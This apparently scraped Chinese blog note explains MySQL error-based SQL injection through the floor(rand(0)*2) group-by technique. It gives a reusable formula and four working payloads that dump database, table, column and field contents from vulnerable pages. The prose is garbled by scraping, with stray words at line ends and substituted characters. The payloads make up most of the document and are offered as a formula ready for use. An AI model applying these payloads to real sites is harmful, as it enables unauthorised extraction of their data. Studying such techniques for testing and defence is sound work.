之前以为报错注入有那么一长串,还有各类concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过。此次专门学习了一下,看了一些大牛的总结,获得一些经验,特此记录下来,以备后续巩固复习。html
整体来讲,报错注入实际上是一种公式化的注入方法,主要用于在页面中没有显示位,可是用echo mysql_error();输出了错误信息时使用。mysql
公式具体以下sql
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
咱们在这个语句中其实已经能够看到了普通注入的影子,第五个select子句的version()处显示了数据库使用的版本,后面的information_schema.tables显示的就是咱们在mysql中对应的系统表信息,第三个子句的limit用于控制遍历数据库的每一条记录。数据库
注意的是,咱们通常手工注入使用limit时,都是使用limit 0,1;limit,1,2;limit 2,3……这种模式去依次遍历数据库的每一个项目。函数
可是要注意这里的遍历方式须要调整:变成了limit 0,1;limit1,1;limit 2,1……这种形式学习
搞清楚了语句的公式,剩下的注入过程就跟咱们普通的注入很像了,只须要调整语句对应的结构便可:spa
汇总以下:code
一、暴数据库:orm
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,schema_name,0x7e))) from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
二、暴数据表:htm
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,table_name,0x7e))) from information_schema.tables where table_schema=库名的十六进制 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
三、暴列名:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,column_name,0x7e))) from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
四、暴字段:
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,字段名,0x7e))) from 库名.表名 limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
总结起来,就是一套已经成型的公式,而后用普通注入的方法进行注入就行了
参考文章:
http://www.jianshu.com/p/8c2343705100
https://www.waitalone.cn/mysql-error-based-injection.html